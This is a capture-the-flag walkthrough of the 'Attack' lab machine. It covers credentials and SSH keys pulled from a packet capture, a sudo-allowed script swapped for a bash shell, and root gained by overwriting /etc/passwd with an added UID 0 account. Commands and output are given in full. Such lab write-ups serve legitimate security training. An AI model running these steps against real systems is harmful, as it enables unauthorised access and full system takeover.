HMV Attack Walkthrough
This Linux machine exposed FTP, SSH, and nginx, but the real entry point was not a web bug in
the usual sense. The homepage handed me a packet-capture clue, and that single pcap file disclosed
both cleartext FTP credentials and a historical HTTP response that no longer matched the live site.
Those artifacts gave me SSH access as teste and then jackob. From there, a user-controlled
sudo script path became execution as kratos, and cppw plus openssl finished the jump to
root.
Summary
Scope
- Name: Attack
- Difficulty: (4/10)
- OS: Linux
- IP: attack.hmv (192.168.56.119)
Learned
- If the live copy of a file differs from the version seen in packet history, keep both. The stale response may contain a better secret than the current one.
- Executes a script from a user-controlled directory is effectively code execution, even if the original file is not writable.
Enumeration
Nmap
Detail
# Nmap 7.99 scan initiated Fri Apr 3 14:06:13 2026 as: nmap -sC -sV -O -vv -p21,22,80 -oN detail attack.hmv Nmap scan report for attack.hmv (192.168.56.119) Host is up, received arp-response (0.00045s latency). Scanned at 2026-04-03 14:06:13 CST for 13s PORT STATE SERVICE REASON VERSION 21/tcp open ftp syn-ack ttl 64 ProFTPD 22/tcp open ssh syn-ack ttl 64 OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0) | ssh-hostkey: | 2048 f4:8d:08:b4:99:d2:0c:5d:75:b8:22:83:7b:c2:88:15 (RSA) | ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC029f8UVQlW3TSdpJTR+DhAKqaNHLfOHIsT4e3A7FrU+J5domnqJkz/Dra5LaY30N1509Jfc2lpNj3tGKq+3T9ljjy0G+ZkfehihqQ58DcUWL0L8Jg5QCIQiU2rHVCuXcP8eU/b44ut3T+F9Ve95c20TRSe1RxBwMgeoCUO34ASzdfLQuSg3QPIDUxBS2JVQQWM2CxNRY9GuTo6D66eEbJFEa62Up9uqHKppTktOoQdTJV1QA6uVKlkIT6ai3CYjuc7OCvYUyfGfUwP8NaqcBzCwxd7o3DjMDnB8J+wTg/EcmqLzHBKoAvjsVULXhjD6E70CfJt9TThdZJYthu/02t | 256 e2:16:0a:e7:38:4a:ec:76:cf:d3:56:78:07:fd:2f:25 (ECDSA) | ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBO2ZSK50/e3UghZ6RqCLquLI11OYh98a8pGGFATUEv5gLWoZ2y8h+9AjuWu1Lza1wgan2CItb41VvA/KFzokvV8= | 256 0b:5a:9c:71:cc:3b:50:04:46:18:ad:67:8a:df:d0:d6 (ED25519) |_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIKTgpWdk9I2U6XpTEaygIo3viOgWjcpoOuHSqjgDZL/7 80/tcp open http syn-ack ttl 64 nginx 1.14.2 |_http-server-header: nginx/1.14.2 |_http-title: Site doesn't have a title (text/html). | http-methods: |_ Supported Methods: GET HEAD MAC Address: 08:00:27:94:55:06 (Oracle VirtualBox virtual NIC) Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port Device type: general purpose|router Running: Linux 4.X|5.X, MikroTik RouterOS 7.X OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 cpe:/o:mikrotik:routeros:7 cpe:/o:linux:linux_kernel:5.6.3 OS details: Linux 4.15 - 5.19, OpenWrt 21.02 (Linux 5.4), MikroTik RouterOS 7.2 - 7.5 (Linux 5.6.3) TCP/IP fingerprint: OS:SCAN(V=7.99%E=4%D=4/3%OT=21%CT=%CU=31046%PV=Y%DS=1%DC=D%G=N%M=080027%TM= OS:69CF58E2%P=x86_64-pc-linux-gnu)SEQ(SP=106%GCD=1%ISR=10B%TI=Z%CI=Z%II=I%T OS:S=A)OPS(O1=M5B4ST11NW7%O2=M5B4ST11NW7%O3=M5B4NNT11NW7%O4=M5B4ST11NW7%O5= OS:M5B4ST11NW7%O6=M5B4ST11)WIN(W1=FE88%W2=FE88%W3=FE88%W4=FE88%W5=FE88%W6=F OS:E88)ECN(R=Y%DF=Y%T=40%W=FAF0%O=M5B4NNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A OS:=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0% OS:Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S= OS:A%A=Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R= OS:Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N% OS:T=40%CD=S) Uptime guess: 11.644 days (since Sun Mar 22 22:38:33 2026) Network Distance: 1 hop TCP Sequence Prediction: Difficulty=262 (Good luck!) IP ID Sequence Generation: All zeros Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Read data files from: /usr/bin/../share/nmap OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . # Nmap done at Fri Apr 3 14:06:26 2026 -- 1 IP address (1 host up) scanned in 13.27 seconds
UDPScan
# Nmap 7.99 scan initiated Fri Apr 3 14:09:35 2026 as: nmap -sU --top-port 32 -oN udpscan attack.hmv Nmap scan report for attack.hmv (192.168.56.119) Host is up (0.00050s latency). Not shown: 31 closed udp ports (port-unreach) PORT STATE SERVICE 68/udp open|filtered dhcpc MAC Address: 08:00:27:94:55:06 (Oracle VirtualBox virtual NIC) # Nmap done at Fri Apr 3 14:10:06 2026 -- 1 IP address (1 host up) scanned in 31.48 seconds
The web root itself was just a short hint:
$ curl http://attack.hmv/ I did a capture with wireshark. The name of the file is "capture" but i dont remember the extension :(
That was enough to try the obvious .pcap extension. Instead of spending time on wordlists first, I
downloaded capture.pcap and treated it as the real starting point.
Packet Capture Triage
A quick TCP conversation summary showed that the capture was small enough to analyze stream by stream.
$ tshark -r capture.pcap -q -z conv,tcp
================================================================================
TCP Conversations
Filter:<No Filter>
| <- | | -> | | Total | Relative | Duration |
| Frames Bytes | | Frames Bytes | | Frames Bytes | Start | |
192.168.1.44:20 <-> 192.168.1.103:36691 21 1394 bytes 22 362 kB 43 363 kB 7.929820000 0.0049
192.168.1.103:53438 <-> 192.168.1.44:21 10 963 bytes 14 1017 bytes 24 1980 bytes 0.000000000 7.9353
192.168.1.103:34030 <-> 192.168.1.44:80 5 38 kB 6 767 bytes 11 39 kB 10.830871000 0.0008
================================================================================
One FTP control stream, one FTP data stream, and one HTTP stream was exactly what I wanted. Filtering just the high-value fields immediately exposed the next steps.
$ tshark -r capture.pcap -Y 'http.request or ftp.request.command == USER or ftp.request.command == PASS' \ -T fields -e ftp.request.command -e ftp.request.arg -e http.request.method -e http.request.uri USER teste PASS simple GET /filexxx.zip
For fast tshark triage, I usually start with -q -z conv,tcp to count streams, then switch to
display filters and -T fields to extract only the fields that matter. When a response body needs
to be rebuilt, http.file_data plus xxd -r -p is often the fastest route from packets back to a
real file.
The FTP credentials were valid on the live service, so I logged in first to see what the account could access.
FTP
Using teste/simple granted a normal FTP session and revealed two interesting files: mysecret.png
and note.txt. The home directory also exposed a writable .ssh/ directory, so even without
another secret this account was already close to becoming a shell.
$ ftp [email protected] Connected to attack.hmv. 220 ProFTPD Server (Debian) [::ffff:192.168.56.119] 331 Password required for teste Password: 230 User teste logged in Remote system type is UNIX. Using binary mode to transfer files. ftp> ls -al 200 PORT command successful 150 Opening ASCII mode data connection for file list drwxr-xr-x 4 teste teste 4096 Jan 7 2021 . drwxr-xr-x 5 root root 4096 Jan 7 2021 .. -rw-r--r-- 1 teste teste 220 Jan 7 2021 .bash_logout -rw-r--r-- 1 teste teste 3526 Jan 7 2021 .bashrc drwxr-xr-x 3 teste teste 4096 Jan 7 2021 .local -rw-r--r-- 1 teste teste 360917 Jan 7 2021 mysecret.png -rw-r--r-- 1 teste teste 25 Jan 7 2021 note.txt -rw-r--r-- 1 teste teste 807 Jan 7 2021 .profile drwx------ 2 teste teste 4096 Jan 7 2021 .ssh -rw------- 1 teste teste 52 Jan 7 2021 .Xauthority 226 Transfer complete
The note only said I need to find the file!, and mysecret.png did not contain hidden data that I
could recover with quick checks. That kept /filexxx.zip as the more promising lead.
Foothold
The Live filexxx.zip Gave Me teste's SSH Key
Downloading the live copy of /filexxx.zip turned out to be immediately useful.
$ unzip -l filexxx.zip
Archive: filexxx.zip
Length Date Time Name
--------- ---------- ----- ----
1823 2021-01-08 05:21 id_rsa
--------- -------
1823 1 file
$ ssh-keygen -lf id_rsa
2048 SHA256:fIF1J2bTIY6NHy7PtoJ/qRB4ebFs/yOg0zQHg08Momw teste@attack (RSA)
That private key matched the FTP account, so I used it for the first real shell instead of uploading
my own authorized_keys. Either path would have worked, but the recovered key was cleaner and left
fewer moving parts.
The Captured filexxx.zip Was Different
The interesting twist was that the HTTP response stored inside the PCAP did not match the live file. Rebuilding the response body from the HTTP stream produced a second archive.
$ tshark -r capture.pcap -Y "http.response and tcp.stream eq 2" -T fields -e http.file_data | xxd -r -p > filexxx_orig.zip
$ unzip -l filexxx_orig.zip
Archive: filexxx_orig.zip
Length Date Time Name
--------- ---------- ----- ----
52007 2021-01-07 19:48 mycode.png
--------- -------
52007 1 file
That difference mattered. The live site gave me teste's key, but the captured response preserved an
older artifact that the server no longer exposed.
QR Code to jackob
The extracted mycode.png was a QR code. Decoding it pointed to a local file on the web server:
$ zbarimg -q mycode.png QR-Code:http://localhost/jackobattack.txt
Because localhost referred to the target's own web service, I requested the same path from
attack.hmv and recovered another OpenSSH private key. I saved it as id_rsa_jackob and verified
the key comment locally.
$ ssh-keygen -lf id_rsa_jackob 2048 SHA256:cqefldYxY7ckFzdVP9VL/CFyKcstXRtfKz9J4tzYj3g jackob@attack (RSA)
At this point I had two valid SSH identities. teste was enough for local enumeration, but jackob
was the account that mattered for the escalation path.
Privilege Escalation
jackob to kratos
Running sudo -l as jackob showed the real weakness immediately.
jackob@attack:~$ sudo -l
Matching Defaults entries for jackob on attack:
!env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User jackob may run the following commands on attack:
(kratos) NOPASSWD: /home/jackob/attack.sh
Earlier enumeration had already shown that attack.sh lived inside /home/jackob/ even though the
file itself was owned by kratos. That detail is enough to break the boundary, because jackob
owns the directory and can remove the file, then replace it with a script of his own.
jackob@attack:~$ rm -f attack.sh jackob@attack:~$ echo '/bin/bash -ip' > attack.sh jackob@attack:~$ chmod +x attack.sh jackob@attack:~$ sudo -u kratos /home/jackob/attack.sh kratos@attack:~$ id uid=1002(kratos) gid=1002(kratos) groups=1002(kratos)
This was not a fancy exploit at all. It was just a misplaced trust boundary around a script path that the invoking user could fully control.
kratos to root with cppw
The next sudo rule was even stronger:
kratos@attack:~$ sudo -l
Matching Defaults entries for kratos on attack:
!env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User kratos may run the following commands on attack:
(root) NOPASSWD: /usr/sbin/cppw
kratos@attack:~$ cppw -h
Usage:
`cppw <file>' copys over /etc/passwd `cppw -s <file>' copys over /etc/shadow
`cpgr <file>' copys over /etc/group `cpgr -s <file>' copys over /etc/gshadow
Because cppw can overwrite /etc/passwd as root, the simplest path was to append a fresh UID 0
account to a copy of the current passwd file and then replace the system copy.
$ openssl passwd 123456 $1$quUO305l$i3r/dEMq6DHVkOMPHZx.d1 kratos@attack:/home/kratos$ cp /etc/passwd passwd_tamper kratos@attack:/home/kratos$ echo 'hacker:$1$quUO305l$i3r/dEMq6DHVkOMPHZx.d1:0:0:,,,:/root:/bin/bash' >> passwd_tamper kratos@attack:/home/kratos$ sudo -u root /usr/sbin/cppw passwd_tamper kratos@attack:/home/kratos$ su - hacker Password: root@attack:~#
I prefer making the hash algorithm explicit when using openssl passwd because defaults can vary
across builds. Common choices are openssl passwd -1 'password' for MD5-crypt and openssl passwd
-6 'password' for SHA-512 crypt. On boxes like this one, the main requirement is not "strongest
hash wins" but "generate a format the target PAM/libcrypt stack will actually accept in the file you
are replacing."
Once the tampered passwd file was copied into place, authenticating as the injected UID 0 account gave me root immediately.
Takeaways
Attack is a good reminder that packet captures are not just passive evidence; they can be primary
loot. This machine hid two separate secrets in the same PCAP: one current and one historical. The
live filexxx.zip handed me teste's private key, while the captured HTTP response preserved the
older mycode.png artifact that led to jackob. If I had trusted only the current web content, I
would have missed the second half of the chain.
The local escalation was equally practical. jackob's sudoers rule executed a file path inside his
own home directory, so file ownership on the original script did not matter once directory control
entered the picture. After that, cppw and openssl turned a limited shell into complete control
over /etc/passwd. The whole box rewarded simple artifact handling and careful use of built-in
tools more than exotic exploitation.